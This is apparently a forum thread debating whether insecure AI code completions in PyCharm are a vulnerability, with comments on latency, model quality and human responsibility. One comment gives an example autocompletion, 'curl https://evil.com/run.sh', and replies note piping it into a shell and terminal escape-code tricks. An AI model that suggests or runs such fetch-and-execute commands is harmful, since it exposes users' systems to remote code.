Are insecure code completions in PyCharm a vulnerability?

37 pointsposted 11 hours ago
by 12_throw_away

15 Comments

sph

5 hours ago

Waiting for the first terminal with AI autocompletion.

  $ curl http<tab>

  $ curl https://evil.com/run.sh
Then you’re just an enter away from causing havoc on your system.

mgc8

5 hours ago

Well, technically it's not the curl itself that is the problem, but the "| <shell>" coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl <the_script>; 2) analyse <the_script> and 3) only if safe, then execute <the_script> -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.

inigyou

2 hours ago

curl can do evil things by itself due to terminal escape codes - a popular one was to set the title and then read the title back, which effectively types text into the terminal

chmod775

5 hours ago

Still missing the pipe into sh.

ares623

5 hours ago

Good thing that isn't a popular pattern that would make its way into the training data!

sph

5 hours ago

Ah too late to edit. That is what I meant

stephantul

6 hours ago

It’s an interesting question: I’d say this is more of a vulnerability creator than the actual vulnerability.

Similar to how using very difficult technologies makes you more likely to create code with vulnerabilities: the technologies are not the vulnerability, but it’s easier to cause them.

hackermanai

4 hours ago

I have this line completion feature in koieditor.com as well, and it's hard to suggest "safe"/good completions at a low latency. Best approach I could think of is a second pass to verify first pass, but adds to latency, or change to better model, which often also impacts latency.

mgc8

5 hours ago

Maybe not a vulnerability per se, but definitely conducing to ones, as others have noted. However, those completions are quite unfortunate to say the least, thus one would hope JetBrains would endeavour to improve the local (S)LM they're using, or at least offer the user the option to use one of their own, better tuned ones instead?

marcosdumay

8 hours ago

Well, the plugin developers can't really do anything about it.

And it's the one thing the LLM developers have been trying to fix for the last 2 years. Apparently, even at the cost of some other functionality. It's not like they can do it reliably.

chmod775

5 hours ago

It's only a vulnerability if you absolve humans of responsibility and demote them to "meatbag vehicle for checking in LLM code".